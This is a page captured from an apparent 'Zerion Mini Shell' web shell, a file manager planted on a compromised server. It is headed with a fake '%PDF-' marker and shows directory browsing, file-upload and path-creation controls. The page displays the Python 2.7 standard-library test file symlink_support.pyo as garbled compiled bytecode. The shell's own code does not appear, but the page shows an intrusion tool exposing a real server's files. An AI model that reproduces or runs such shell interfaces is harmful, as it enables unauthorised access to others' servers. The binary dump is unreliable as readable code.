%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/test/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/test/symlink_support.pyo

ó
Nêáac@s•ddlZddlZddlZddlmZd„Zd„Zed„Ze	edƒrjej
nejƒdkr‚endZ
d„Z
dS(	iÿÿÿÿN(tTESTFNcCs€ttddƒ}|dk	r"|Std}ytt|ƒt}Wn tttfk
ret	}nXt
j|ƒ|t_|S(Ntprev_valtcan_symlink(
tgetattrRtNoneRtsymlinktTruetOSErrortNotImplementedErrortAttributeErrortFalsetostremoveR(Rtsymlink_pathtcan((s0/usr/local/lib/python2.7/test/symlink_support.pyRs




	cCs,tƒ}d}|r|Stj|ƒ|ƒS(s8Skip decorator for tests that require functional symlinks*Requires functional symlink implementation(Rtunittesttskip(ttesttoktmsg((s0/usr/local/lib/python2.7/test/symlink_support.pytskip_unless_symlinks	cs¤ddl‰ˆjjj}ˆjjˆjjˆjjf|_ˆjj|_	‡‡fd†‰‡‡fd†‰|p‡t
jj|ƒ}ˆ||||ƒƒdS(s‡
    Ctypes symlink implementation since Python doesn't support
    symlinks in windows yet. Borrowed from jaraco.windows project.
    iÿÿÿÿNcsµd}d}d}d}d}d}||B}d}|}	d}
ˆjjƒ}d}d}
ˆjjj|||	|
ˆj|ƒ||
ƒ}ˆ|ƒ|j}ˆjjj|ƒ|S(	sr
        Call FormatMessage with a system error number to retrieve
        the descriptive error message.
        ii iiiiiN(	RtwintypestLPWSTRtwindlltkernel32tFormatMessageWtbyreftvaluet	LocalFree(terrnotALLOCATE_BUFFERtARGUMENT_ARRAYtFROM_HMODULEtFROM_STRINGtFROM_SYSTEMtIGNORE_INSERTStflagstsourcet
message_idtlanguage_idt
result_buffertbuffer_sizet	argumentstbytestmessage(tctypesthandle_nonzero_success(s0/usr/local/lib/python2.7/test/symlink_support.pytformat_system_message+s2
	
	cs@|dkr<ˆjjjƒ}ˆ|ƒ}t||ƒ‚ndS(Ni(RRtGetLastErrortWindowsError(tresultRtstrerror(R-R/(s0/usr/local/lib/python2.7/test/symlink_support.pyR.Rs(
tctypes.wintypesRRtCreateSymbolicLinkWRRtDWORDtargtypestBOOLEANtrestypeRtpathtisdir(ttargettlinkttarget_is_directorytCreateSymbolicLink((R-R/R.s0/usr/local/lib/python2.7/test/symlink_support.pyt_symlink_win32s		'RtWindowscCs6ytj|ƒWntk
r1tj|ƒnXdS(N(RtrmdirRR(tname((s0/usr/local/lib/python2.7/test/symlink_support.pytremove_symlink_s
(RRtplatformttest.test_supportRRRR
R@thasattrRtsystemRRD(((s0/usr/local/lib/python2.7/test/symlink_support.pyt<module>s		>

Zerion Mini Shell 1.0